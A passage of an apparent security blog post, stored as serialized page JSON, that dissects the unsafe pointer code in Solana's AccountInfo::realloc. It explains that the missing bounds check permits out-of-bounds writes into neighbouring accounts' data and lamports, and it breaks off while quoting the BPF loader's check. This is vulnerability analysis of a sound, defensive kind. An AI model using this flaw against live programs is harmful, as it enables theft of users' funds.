Err",{"type":22,"tag":101,"props":19749,"children":19750},{"style":120},[19751],{"type":27,"value":980},{"type":22,"tag":101,"props":19753,"children":19754},{"style":114},[19755],{"type":27,"value":19756},"InstructionError",{"type":22,"tag":101,"props":19758,"children":19759},{"style":166},[19760],{"type":27,"value":970},{"type":22,"tag":101,"props":19762,"children":19763},{"style":114},[19764],{"type":27,"value":19765},"ExecutableDataModified",{"type":22,"tag":101,"props":19767,"children":19768},{"style":120},[19769],{"type":27,"value":994},{"type":22,"tag":101,"props":19771,"children":19772},{"class":103,"line":1110},[19773,19778,19782,19787,19791],{"type":22,"tag":101,"props":19774,"children":19775},{"style":120},[19776],{"type":27,"value":19777}," } ",{"type":22,"tag":101,"props":19779,"children":19780},{"style":3595},[19781],{"type":27,"value":7354},{"type":22,"tag":101,"props":19783,"children":19784},{"style":3595},[19785],{"type":27,"value":19786}," if",{"type":22,"tag":101,"props":19788,"children":19789},{"style":126},[19790],{"type":27,"value":19624},{"type":22,"tag":101,"props":19792,"children":19793},{"style":120},[19794],{"type":27,"value":154},{"type":22,"tag":101,"props":19796,"children":19797},{"class":103,"line":1118},[19798,19802,19806,19810,19814,19818,19823],{"type":22,"tag":101,"props":19799,"children":19800},{"style":3595},[19801],{"type":27,"value":19742},{"type":22,"tag":101,"props":19803,"children":19804},{"style":114},[19805],{"type":27,"value":19747},{"type":22,"tag":101,"props":19807,"children":19808},{"style":120},[19809],{"type":27,"value":980},{"type":22,"tag":101,"props":19811,"children":19812},{"style":114},[19813],{"type":27,"value":19756},{"type":22,"tag":101,"props":19815,"children":19816},{"style":166},[19817],{"type":27,"value":970},{"type":22,"tag":101,"props":19819,"children":19820},{"style":114},[19821],{"type":27,"value":19822},"ExternalAccountDataModified",{"type":22,"tag":101,"props":19824,"children":19825},{"style":120},[19826],{"type":27,"value":994},{"type":22,"tag":101,"props":19828,"children":19829},{"class":103,"line":1158},[19830,19834,19838],{"type":22,"tag":101,"props":19831,"children":19832},{"style":120},[19833],{"type":27,"value":19777},{"type":22,"tag":101,"props":19835,"children":19836},{"style":3595},[19837],{"type":27,"value":7354},{"type":22,"tag":101,"props":19839,"children":19840},{"style":120},[19841],{"type":27,"value":154},{"type":22,"tag":101,"props":19843,"children":19844},{"class":103,"line":1166},[19845,19849,19853,19857,19861,19865,19870],{"type":22,"tag":101,"props":19846,"children":19847},{"style":3595},[19848],{"type":27,"value":19742},{"type":22,"tag":101,"props":19850,"children":19851},{"style":114},[19852],{"type":27,"value":19747},{"type":22,"tag":101,"props":19854,"children":19855},{"style":120},[19856],{"type":27,"value":980},{"type":22,"tag":101,"props":19858,"children":19859},{"style":114},[19860],{"type":27,"value":19756},{"type":22,"tag":101,"props":19862,"children":19863},{"style":166},[19864],{"type":27,"value":970},{"type":22,"tag":101,"props":19866,"children":19867},{"style":114},[19868],{"type":27,"value":19869},"ReadonlyDataModified",{"type":22,"tag":101,"props":19871,"children":19872},{"style":120},[19873],{"type":27,"value":994},{"type":22,"tag":101,"props":19875,"children":19876},{"class":103,"line":1215},[19877],{"type":22,"tag":101,"props":19878,"children":19879},{"style":120},[19880],{"type":27,"value":1734},{"type":22,"tag":101,"props":19882,"children":19883},{"class":103,"line":2425},[19884],{"type":22,"tag":101,"props":19885,"children":19886},{"style":120},[19887],{"type":27,"value":188},{"type":22,"tag":1760,"props":19889,"children":19891},{"id":19890},"back-to-realloc",[19892,19894],{"type":27,"value":19893},"Back to ",{"type":22,"tag":30,"props":19895,"children":19897},{"className":19896},[],[19898],{"type":27,"value":17641},{"type":22,"tag":23,"props":19900,"children":19901},{},[19902],{"type":27,"value":19903},"As a reminder, this is what we were looking at before that detour:",{"type":22,"tag":91,"props":19905,"children":19906},{"className":93,"code":18393,"language":95,"meta":7,"style":7},[19907],{"type":22,"tag":30,"props":19908,"children":19909},{"__ignoreMap":7},[19910,19917,20004],{"type":22,"tag":101,"props":19911,"children":19912},{"class":103,"line":104},[19913],{"type":22,"tag":101,"props":19914,"children":19915},{"style":2215},[19916],{"type":27,"value":18405},{"type":22,"tag":101,"props":19918,"children":19919},{"class":103,"line":157},[19920,19924,19928,19932,19936,19940,19944,19948,19952,19956,19960,19964,19968,19972,19976,19980,19984,19988,19992,19996,20000],{"type":22,"tag":101,"props":19921,"children":19922},{"style":108},[19923],{"type":27,"value":15792},{"type":22,"tag":101,"props":19925,"children":19926},{"style":126},[19927],{"type":27,"value":17859},{"type":22,"tag":101,"props":19929,"children":19930},{"style":166},[19931],{"type":27,"value":960},{"type":22,"tag":101,"props":19933,"children":19934},{"style":108},[19935],{"type":27,"value":17799},{"type":22,"tag":101,"props":19937,"children":19938},{"style":166},[19939],{"type":27,"value":231},{"type":22,"tag":101,"props":19941,"children":19942},{"style":926},[19943],{"type":27,"value":17876},{"type":22,"tag":101,"props":19945,"children":19946},{"style":120},[19947],{"type":27,"value":17881},{"type":22,"tag":101,"props":19949,"children":19950},{"style":166},[19951],{"type":27,"value":7173},{"type":22,"tag":101,"props":19953,"children":19954},{"style":926},[19955],{"type":27,"value":17890},{"type":22,"tag":101,"props":19957,"children":19958},{"style":120},[19959],{"type":27,"value":17881},{"type":22,"tag":101,"props":19961,"children":19962},{"style":166},[19963],{"type":27,"value":231},{"type":22,"tag":101,"props":19965,"children":19966},{"style":926},[19967],{"type":27,"value":17903},{"type":22,"tag":101,"props":19969,"children":19970},{"style":120},[19971],{"type":27,"value":980},{"type":22,"tag":101,"props":19973,"children":19974},{"style":166},[19975],{"type":27,"value":8372},{"type":22,"tag":101,"props":19977,"children":19978},{"style":1544},[19979],{"type":27,"value":8119},{"type":22,"tag":101,"props":19981,"children":19982},{"style":120},[19983],{"type":27,"value":901},{"type":22,"tag":101,"props":19985,"children":19986},{"style":108},[19987],{"type":27,"value":12849},{"type":22,"tag":101,"props":19989,"children":19990},{"style":166},[19991],{"type":27,"value":13822},{"type":22,"tag":101,"props":19993,"children":19994},{"style":108},[19995],{"type":27,"value":7760},{"type":22,"tag":101,"props":19997,"children":19998},{"style":114},[19999],{"type":27,"value":174},{"type":22,"tag":101,"props":20001,"children":20002},{"style":120},[20003],{"type":27,"value":1520},{"type":22,"tag":101,"props":20005,"children":20006},{"class":103,"line":182},[20007,20011,20015,20019,20023,20027,20031],{"type":22,"tag":101,"props":20008,"children":20009},{"style":166},[20010],{"type":27,"value":8615},{"type":22,"tag":101,"props":20012,"children":20013},{"style":126},[20014],{"type":27,"value":17951},{"type":22,"tag":101,"props":20016,"children":20017},{"style":166},[20018],{"type":27,"value":960},{"type":22,"tag":101,"props":20020,"children":20021},{"style":126},[20022],{"type":27,"value":17960},{"type":22,"tag":101,"props":20024,"children":20025},{"style":108},[20026],{"type":27,"value":12835},{"type":22,"tag":101,"props":20028,"children":20029},{"style":114},[20030],{"type":27,"value":174},{"type":22,"tag":101,"props":20032,"children":20033},{"style":120},[20034],{"type":27,"value":1520},{"type":22,"tag":23,"props":20036,"children":20037},{},[20038,20043,20045,20050,20052,20057,20059,20070,20072,20077,20079,20084],{"type":22,"tag":30,"props":20039,"children":20041},{"className":20040},[],[20042],{"type":27,"value":17876},{"type":27,"value":20044}," gives us the ",{"type":22,"tag":30,"props":20046,"children":20048},{"className":20047},[],[20049],{"type":27,"value":19463},{"type":27,"value":20051}," from the ",{"type":22,"tag":30,"props":20053,"children":20055},{"className":20054},[],[20056],{"type":27,"value":19338},{"type":27,"value":20058},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":22,"tag":80,"props":20060,"children":20063},{"href":20061,"rel":20062},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[84],[20064],{"type":22,"tag":30,"props":20065,"children":20067},{"className":20066},[],[20068],{"type":27,"value":20069},"slice::as_mut_ptr()",{"type":27,"value":20071}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":22,"tag":30,"props":20073,"children":20075},{"className":20074},[],[20076],{"type":27,"value":12052},{"type":27,"value":20078}," - behind the data buffer), and then writes ",{"type":22,"tag":30,"props":20080,"children":20082},{"className":20081},[],[20083],{"type":27,"value":17724},{"type":27,"value":20085}," to it.",{"type":22,"tag":23,"props":20087,"children":20088},{},[20089,20091,20103,20105,20111],{"type":27,"value":20090},"This is reasonable... ",{"type":22,"tag":6961,"props":20092,"children":20093},{},[20094,20096,20101],{"type":27,"value":20095},"as long as the ",{"type":22,"tag":30,"props":20097,"children":20099},{"className":20098},[],[20100],{"type":27,"value":7738},{"type":27,"value":20102}," actually came from the serialized buffer",{"type":27,"value":20104},". We'll come back to this ",{"type":22,"tag":80,"props":20106,"children":20108},{"href":20107},"#Not-contracts",[20109],{"type":27,"value":20110},"later",{"type":27,"value":231},{"type":22,"tag":23,"props":20113,"children":20114},{},[20115,20117,20122],{"type":27,"value":20116},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":22,"tag":30,"props":20118,"children":20120},{"className":20119},[],[20121],{"type":27,"value":19463},{"type":27,"value":20123}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":22,"tag":91,"props":20125,"children":20127},{"className":93,"code":20126,"language":95,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[20128],{"type":22,"tag":30,"props":20129,"children":20130},{"__ignoreMap":7},[20131,20139,20266],{"type":22,"tag":101,"props":20132,"children":20133},{"class":103,"line":104},[20134],{"type":22,"tag":101,"props":20135,"children":20136},{"style":2215},[20137],{"type":27,"value":20138},"// Then set the new length in the local slice\n",{"type":22,"tag":101,"props":20140,"children":20141},{"class":103,"line":157},[20142,20146,20150,20154,20158,20162,20166,20170,20174,20178,20182,20186,20190,20194,20198,20202,20206,20210,20214,20218,20222,20226,20230,20234,20238,20242,20246,20250,20254,20258,20262],{"type":22,"tag":101,"props":20143,"children":20144},{"style":108},[20145],{"type":27,"value":15792},{"type":22,"tag":101,"props":20147,"children":20148},{"style":126},[20149],{"type":27,"value":17859},{"type":22,"tag":101,"props":20151,"children":20152},{"style":166},[20153],{"type":27,"value":960},{"type":22,"tag":101,"props":20155,"children":20156},{"style":166},[20157],{"type":27,"value":870},{"type":22,"tag":101,"props":20159,"children":20160},{"style":108},[20161],{"type":27,"value":7760},{"type":22,"tag":101,"props":20163,"children":20164},{"style":166},[20165],{"type":27,"value":13822},{"type":22,"tag":101,"props":20167,"children":20168},{"style":120},[20169],{"type":27,"value":18019},{"type":22,"tag":101,"props":20171,"children":20172},{"style":108},[20173],{"type":27,"value":4242},{"type":22,"tag":101,"props":20175,"children":20176},{"style":166},[20177],{"type":27,"value":231},{"type":22,"tag":101,"props":20179,"children":20180},{"style":120},[20181],{"type":27,"value":7738},{"type":22,"tag":101,"props":20183,"children":20184},{"style":166},[20185],{"type":27,"value":231},{"type":22,"tag":101,"props":20187,"children":20188},{"style":926},[20189],{"type":27,"value":18040},{"type":22,"tag":101,"props":20191,"children":20192},{"style":120},[20193],{"type":27,"value":18045},{"type":22,"tag":101,"props":20195,"children":20196},{"style":108},[20197],{"type":27,"value":12849},{"type":22,"tag":101,"props":20199,"children":20200},{"style":166},[20201],{"type":27,"value":13822},{"type":22,"tag":101,"props":20203,"children":20204},{"style":108},[20205],{"type":27,"value":13660},{"type":22,"tag":101,"props":20207,"children":20208},{"style":114},[20209],{"type":27,"value":174},{"type":22,"tag":101,"props":20211,"children":20212},{"style":120},[20213],{"type":27,"value":2261},{"type":22,"tag":101,"props":20215,"children":20216},{"style":166},[20217],{"type":27,"value":231},{"type":22,"tag":101,"props":20219,"children":20220},{"style":926},[20221],{"type":27,"value":17903},{"type":22,"tag":101,"props":20223,"children":20224},{"style":120},[20225],{"type":27,"value":980},{"type":22,"tag":101,"props":20227,"children":20228},{"style":1544},[20229],{"type":27,"value":6813},{"type":22,"tag":101,"props":20231,"children":20232},{"style":120},[20233],{"type":27,"value":901},{"type":22,"tag":101,"props":20235,"children":20236},{"style":108},[20237],{"type":27,"value":12849},{"type":22,"tag":101,"props":20239,"children":20240},{"style":114},[20241],{"type":27,"value":174},{"type":22,"tag":101,"props":20243,"children":20244},{"style":120},[20245],{"type":27,"value":901},{"type":22,"tag":101,"props":20247,"children":20248},{"style":108},[20249],{"type":27,"value":12849},{"type":22,"tag":101,"props":20251,"children":20252},{"style":166},[20253],{"type":27,"value":13822},{"type":22,"tag":101,"props":20255,"children":20256},{"style":108},[20257],{"type":27,"value":7760},{"type":22,"tag":101,"props":20259,"children":20260},{"style":114},[20261],{"type":27,"value":174},{"type":22,"tag":101,"props":20263,"children":20264},{"style":120},[20265],{"type":27,"value":994},{"type":22,"tag":101,"props":20267,"children":20268},{"class":103,"line":182},[20269,20273,20277,20281,20285,20289,20293],{"type":22,"tag":101,"props":20270,"children":20271},{"style":166},[20272],{"type":27,"value":8615},{"type":22,"tag":101,"props":20274,"children":20275},{"style":126},[20276],{"type":27,"value":17951},{"type":22,"tag":101,"props":20278,"children":20279},{"style":166},[20280],{"type":27,"value":960},{"type":22,"tag":101,"props":20282,"children":20283},{"style":126},[20284],{"type":27,"value":17960},{"type":22,"tag":101,"props":20286,"children":20287},{"style":108},[20288],{"type":27,"value":12835},{"type":22,"tag":101,"props":20290,"children":20291},{"style":114},[20292],{"type":27,"value":174},{"type":22,"tag":101,"props":20294,"children":20295},{"style":120},[20296],{"type":27,"value":1520},{"type":22,"tag":23,"props":20298,"children":20299},{},[20300,20302,20308,20310,20321,20323,20329,20331,20337,20339,20344,20346,20351,20353,20363,20364,20371,20372,20379,20386,20388,20394,20396,20402,20404,20409,20411,20416,20418,20424,20426,20431],{"type":27,"value":20301},"That ",{"type":22,"tag":30,"props":20303,"children":20305},{"className":20304},[],[20306],{"type":27,"value":20307},"as_ptr()",{"type":27,"value":20309}," call is ",{"type":22,"tag":80,"props":20311,"children":20314},{"href":20312,"rel":20313},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[84],[20315],{"type":22,"tag":30,"props":20316,"children":20318},{"className":20317},[],[20319],{"type":27,"value":20320},"RefCell::as_ptr()",{"type":27,"value":20322}," due to the ",{"type":22,"tag":30,"props":20324,"children":20326},{"className":20325},[],[20327],{"type":27,"value":20328},"Deref",{"type":27,"value":20330}," impl on ",{"type":22,"tag":30,"props":20332,"children":20334},{"className":20333},[],[20335],{"type":27,"value":20336},"Rc",{"type":27,"value":20338}," (remember also that ",{"type":22,"tag":30,"props":20340,"children":20342},{"className":20341},[],[20343],{"type":27,"value":19502},{"type":27,"value":20345}," itself doesn't behave like a reference, you need to actually ",{"type":22,"tag":6961,"props":20347,"children":20348},{},[20349],{"type":27,"value":20350},"get",{"type":27,"value":20352}," one through ",{"type":22,"tag":80,"props":20354,"children":20357},{"href":20355,"rel":20356},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[84],[20358],{"type":22,"tag":30,"props":20359,"children":20361},{"className":20360},[],[20362],{"type":27,"value":12809},{"type":27,"value":2169},{"type":22,"tag":80,"props":20365,"children":20368},{"href":20366,"rel":20367},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[84],[20369],{"type":27,"value":20370},"and",{"type":27,"value":2169},{"type":22,"tag":80,"props":20373,"children":20376},{"href":20374,"rel":20375},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[84],[20377],{"type":27,"value":20378},"frie",{"type":22,"tag":80,"props":20380,"children":20383},{"href":20381,"rel":20382},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[84],[20384],{"type":27,"value":20385},"nds",{"type":27,"value":20387},"). So from ",{"type":22,"tag":30,"props":20389,"children":20391},{"className":20390},[],[20392],{"type":27,"value":20393},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":27,"value":20395}," we get a ",{"type":22,"tag":30,"props":20397,"children":20399},{"className":20398},[],[20400],{"type":27,"value":20401},"*mut &mut [u8]",{"type":27,"value":20403}," - a ",{"type":22,"tag":6961,"props":20405,"children":20406},{},[20407],{"type":27,"value":20408},"pointer",{"type":27,"value":20410}," to the ",{"type":22,"tag":6961,"props":20412,"children":20413},{},[20414],{"type":27,"value":20415},"slice reference",{"type":27,"value":20417},". From here, we turn the pointer into a ",{"type":22,"tag":30,"props":20419,"children":20421},{"className":20420},[],[20422],{"type":27,"value":20423},"*const u64",{"type":27,"value":20425}," pointer and then offset by 1 ",{"type":22,"tag":30,"props":20427,"children":20429},{"className":20428},[],[20430],{"type":27,"value":12052},{"type":27,"value":20432}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":22,"tag":23,"props":20434,"children":20435},{},[20436,20438,20443,20445,20450,20452,20457,20459,20464,20466,20472],{"type":27,"value":20437},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":22,"tag":80,"props":20439,"children":20441},{"href":20440},"#Towards-safer-unsafe",[20442],{"type":27,"value":20110},{"type":27,"value":20444}," too, I promise. In summary, we're writing the new length as a ",{"type":22,"tag":30,"props":20446,"children":20448},{"className":20447},[],[20449],{"type":27,"value":12052},{"type":27,"value":20451}," to the region starting 8 bytes from the start of the slice ",{"type":22,"tag":6961,"props":20453,"children":20454},{},[20455],{"type":27,"value":20456},"reference",{"type":27,"value":20458}," (the ",{"type":22,"tag":30,"props":20460,"children":20462},{"className":20461},[],[20463],{"type":27,"value":19463},{"type":27,"value":20465},").So, what does ",{"type":22,"tag":30,"props":20467,"children":20469},{"className":20468},[],[20470],{"type":27,"value":20471},"&[T]",{"type":27,"value":20473}," look like in Rust?",{"type":22,"tag":23,"props":20475,"children":20476},{},[20477,20479,20486,20488,20501,20503,20509],{"type":27,"value":20478},"According to ",{"type":22,"tag":80,"props":20480,"children":20483},{"href":20481,"rel":20482},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[84],[20484],{"type":27,"value":20485},"the reference",{"type":27,"value":20487},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":22,"tag":80,"props":20489,"children":20492},{"href":20490,"rel":20491},"https://doc.rust-lang.org/reference/type-layout.html",[84],[20493,20495,20499],{"type":27,"value":20494},"\"Type layout can be changed with each compilation. ",{"type":22,"tag":101,"props":20496,"children":20497},{},[20498],{"type":27,"value":614},{"type":27,"value":20500}," we only document what is guaranteed today\"",{"type":27,"value":20502},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":22,"tag":30,"props":20504,"children":20506},{"className":20505},[],[20507],{"type":27,"value":20508},"rustc",{"type":27,"value":20510},", the layout is a data pointer followed by the size; essentially the same as:",{"type":22,"tag":91,"props":20512,"children":20515},{"className":20513,"code":20514,"language":7187,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[20516],{"type":22,"tag":30,"props":20517,"children":20518},{"__ignoreMap":7},[20519,20527,20539,20556,20569],{"type":22,"tag":101,"props":20520,"children":20521},{"class":103,"line":104},[20522],{"type":22,"tag":101,"props":20523,"children":20524},{"style":2215},[20525],{"type":27,"value":20526},"// C language\n",{"type":22,"tag":101,"props":20528,"children":20529},{"class":103,"line":157},[20530,20534],{"type":22,"tag":101,"props":20531,"children":20532},{"style":108},[20533],{"type":27,"value":111},{"type":22,"tag":101,"props":20535,"children":20536},{"style":120},[20537],{"type":27,"value":20538}," slice_ref {\n",{"type":22,"tag":101,"props":20540,"children":20541},{"class":103,"line":182},[20542,20547,20551],{"type":22,"tag":101,"props":20543,"children":20544},{"style":108},[20545],{"type":27,"value":20546}," void",{"type":22,"tag":101,"props":20548,"children":20549},{"style":166},[20550],{"type":27,"value":8615},{"type":22,"tag":101,"props":20552,"children":20553},{"style":120},[20554],{"type":27,"value":20555}," ptr;\n",{"type":22,"tag":101,"props":20557,"children":20558},{"class":103,"line":367},[20559,20564],{"type":22,"tag":101,"props":20560,"children":20561},{"style":108},[20562],{"type":27,"value":20563}," size_t",{"type":22,"tag":101,"props":20565,"children":20566},{"style":120},[20567],{"type":27,"value":20568}," len;\n",{"type":22,"tag":101,"props":20570,"children":20571},{"class":103,"line":398},[20572],{"type":22,"tag":101,"props":20573,"children":20574},{"style":120},[20575],{"type":27,"value":20576},"};\n",{"type":22,"tag":23,"props":20578,"children":20579},{},[20580],{"type":27,"value":20581},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":22,"tag":6828,"props":20583,"children":20584},{},[20585,20590,20608],{"type":22,"tag":6832,"props":20586,"children":20587},{},[20588],{"type":27,"value":20589},"Slices are laid out in the precise manner described",{"type":22,"tag":6832,"props":20591,"children":20592},{},[20593,20595,20601,20603],{"type":27,"value":20594},"Pointers and ",{"type":22,"tag":30,"props":20596,"children":20598},{"className":20597},[],[20599],{"type":27,"value":20600},"usize",{"type":27,"value":20602}," are the same width as ",{"type":22,"tag":30,"props":20604,"children":20606},{"className":20605},[],[20607],{"type":27,"value":12052},{"type":22,"tag":6832,"props":20609,"children":20610},{},[20611,20612,20617],{"type":27,"value":2007},{"type":22,"tag":30,"props":20613,"children":20615},{"className":20614},[],[20616],{"type":27,"value":19502},{"type":27,"value":20618}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":22,"tag":23,"props":20620,"children":20621},{},[20622,20624,20629,20631,20637,20639,20644,20646,20652,20654,20659,20661,20671],{"type":27,"value":20623},"Assumption #2 is ",{"type":22,"tag":6961,"props":20625,"children":20626},{},[20627],{"type":27,"value":20628},"probably",{"type":27,"value":20630}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":22,"tag":30,"props":20632,"children":20634},{"className":20633},[],[20635],{"type":27,"value":20636},"borrow_mut",{"type":27,"value":20638}," of the ",{"type":22,"tag":30,"props":20640,"children":20642},{"className":20641},[],[20643],{"type":27,"value":19502},{"type":27,"value":20645}," (through ",{"type":22,"tag":30,"props":20647,"children":20649},{"className":20648},[],[20650],{"type":27,"value":20651},"AccountInfo::try_borrow_mut_data()",{"type":27,"value":20653},"), and ",{"type":22,"tag":30,"props":20655,"children":20657},{"className":20656},[],[20658],{"type":27,"value":19502},{"type":27,"value":20660}," is not usable between multiple threads",{"type":22,"tag":6802,"props":20662,"children":20663},{},[20664],{"type":22,"tag":80,"props":20665,"children":20669},{"href":20666,"ariaDescribedBy":20667,"dataFootnoteRef":7,"id":20668},"#user-content-fn-sendsync",[6809],"user-content-fnref-sendsync",[20670],{"type":27,"value":7164},{"type":27,"value":20672},", so we already have exclusive access.",{"type":22,"tag":23,"props":20674,"children":20675},{},[20676,20678,20682],{"type":27,"value":20677},"A few more ",{"type":22,"tag":6961,"props":20679,"children":20680},{},[20681],{"type":27,"value":2848},{"type":27,"value":20683}," things of note, that could have gone badly but didn't:",{"type":22,"tag":6839,"props":20685,"children":20686},{},[20687,20729],{"type":22,"tag":6832,"props":20688,"children":20689},{},[20690,20692,20698,20700,20705,20707,20712,20714,20719,20721,20727],{"type":27,"value":20691},"By reborrowing the pointer (the ",{"type":22,"tag":30,"props":20693,"children":20695},{"className":20694},[],[20696],{"type":27,"value":20697},"&mut *(\u003Cvalue of type *mut u64>)",{"type":27,"value":20699},"), we've created a reference with an ",{"type":22,"tag":6961,"props":20701,"children":20702},{},[20703],{"type":27,"value":20704},"unbounded lifetime",{"type":27,"value":20706},". Rust is free to infer ",{"type":22,"tag":6961,"props":20708,"children":20709},{},[20710],{"type":27,"value":20711},"any",{"type":27,"value":20713}," lifetime for ",{"type":22,"tag":30,"props":20715,"children":20717},{"className":20716},[],[20718],{"type":27,"value":17951},{"type":27,"value":20720}," (including ",{"type":22,"tag":30,"props":20722,"children":20724},{"className":20723},[],[20725],{"type":27,"value":20726},"'static",{"type":27,"value":20728},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":22,"tag":6832,"props":20730,"children":20731},{},[20732,20734,20740,20742,20747,20749,20754,20756,20761,20763,20768,20770,20775,20777,20782,20784,20790,20791,20796,20798,20803,20805,20810,20812,20817,20819,20824],{"type":27,"value":20733},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":22,"tag":30,"props":20735,"children":20737},{"className":20736},[],[20738],{"type":27,"value":20739},"RefMut",{"type":27,"value":20741}," returned from ",{"type":22,"tag":30,"props":20743,"children":20745},{"className":20744},[],[20746],{"type":27,"value":17876},{"type":27,"value":20748},", but the ",{"type":22,"tag":30,"props":20750,"children":20752},{"className":20751},[],[20753],{"type":27,"value":20739},{"type":27,"value":20755}," is dropped at the end of the statement. So, we now have in ",{"type":22,"tag":30,"props":20757,"children":20759},{"className":20758},[],[20760],{"type":27,"value":17951},{"type":27,"value":20762}," a ",{"type":22,"tag":6961,"props":20764,"children":20765},{},[20766],{"type":27,"value":20767},"mutable",{"type":27,"value":20769}," pointer to the ",{"type":22,"tag":30,"props":20771,"children":20773},{"className":20772},[],[20774],{"type":27,"value":19502},{"type":27,"value":20776},"'s data, but the ",{"type":22,"tag":30,"props":20778,"children":20780},{"className":20779},[],[20781],{"type":27,"value":19502},{"type":27,"value":20783}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":22,"tag":30,"props":20785,"children":20787},{"className":20786},[],[20788],{"type":27,"value":20789},"Mutex",{"type":27,"value":5447},{"type":22,"tag":30,"props":20792,"children":20794},{"className":20793},[],[20795],{"type":27,"value":19502},{"type":27,"value":20797}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":22,"tag":30,"props":20799,"children":20801},{"className":20800},[],[20802],{"type":27,"value":17951},{"type":27,"value":20804}," and writing to it ",{"type":22,"tag":6961,"props":20806,"children":20807},{},[20808],{"type":27,"value":20809},"and succeed",{"type":27,"value":20811},", resulting in us writing while another reference is alive. However, since ",{"type":22,"tag":30,"props":20813,"children":20815},{"className":20814},[],[20816],{"type":27,"value":17951},{"type":27,"value":20818}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":22,"tag":30,"props":20820,"children":20822},{"className":20821},[],[20823],{"type":27,"value":7738},{"type":27,"value":20825}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":22,"tag":23,"props":20827,"children":20828},{},[20829,20831,20836],{"type":27,"value":20830},"Ok, now that we've understood what the code is ",{"type":22,"tag":6961,"props":20832,"children":20833},{},[20834],{"type":27,"value":20835},"trying",{"type":27,"value":20837}," to do, let's try to break it, shall we?",{"type":22,"tag":53,"props":20839,"children":20841},{"id":20840},"what-can-go-wrong",[20842],{"type":27,"value":20843},"What can go wrong?",{"type":22,"tag":1760,"props":20845,"children":20847},{"id":20846},"contracts",[20848],{"type":27,"value":20849},"Contracts",{"type":22,"tag":23,"props":20851,"children":20852},{},[20853,20855,20860,20862,20867,20869,20874,20876,20881],{"type":27,"value":20854},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":22,"tag":30,"props":20856,"children":20858},{"className":20857},[],[20859],{"type":27,"value":17641},{"type":27,"value":20861},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":22,"tag":30,"props":20863,"children":20865},{"className":20864},[],[20866],{"type":27,"value":17641},{"type":27,"value":20868}," to some large size, past the end of the buffer of roughly ",{"type":22,"tag":30,"props":20870,"children":20872},{"className":20871},[],[20873],{"type":27,"value":19294},{"type":27,"value":20875}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":22,"tag":30,"props":20877,"children":20879},{"className":20878},[],[20880],{"type":27,"value":7738},{"type":27,"value":20882}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":22,"tag":23,"props":20884,"children":20885},{},[20886,20888,20895],{"type":27,"value":20887},"There is ",{"type":22,"tag":80,"props":20889,"children":20892},{"href":20890,"rel":20891},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[84],[20893],{"type":27,"value":20894},"a check",{"type":27,"value":20896}," by the BPF loader, however, and it boils down to:",{"type":22,"tag":91,"props":20898,"children":20900},{"className":93,"code":20899,"language":95,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[20901],{"type":22,"tag":30,"props":20902,"children":20903},{"__ignoreMap":7},[20904,20942,20972,20979,21012],{"type":22,"tag":101,"props":20905,"children":20906},{"class":103,"line":104},[20907,20911,20916,20920,20924,20928,20932,20937],{"type":22,"tag":101,"props":20908,"children":20909},{"style":3595},[20910],{"type":27,"value":19578},{"type":22,"tag":101,"props":20912,"children":20913},{"style":126},[20914],{"type":27,"value":20915}," 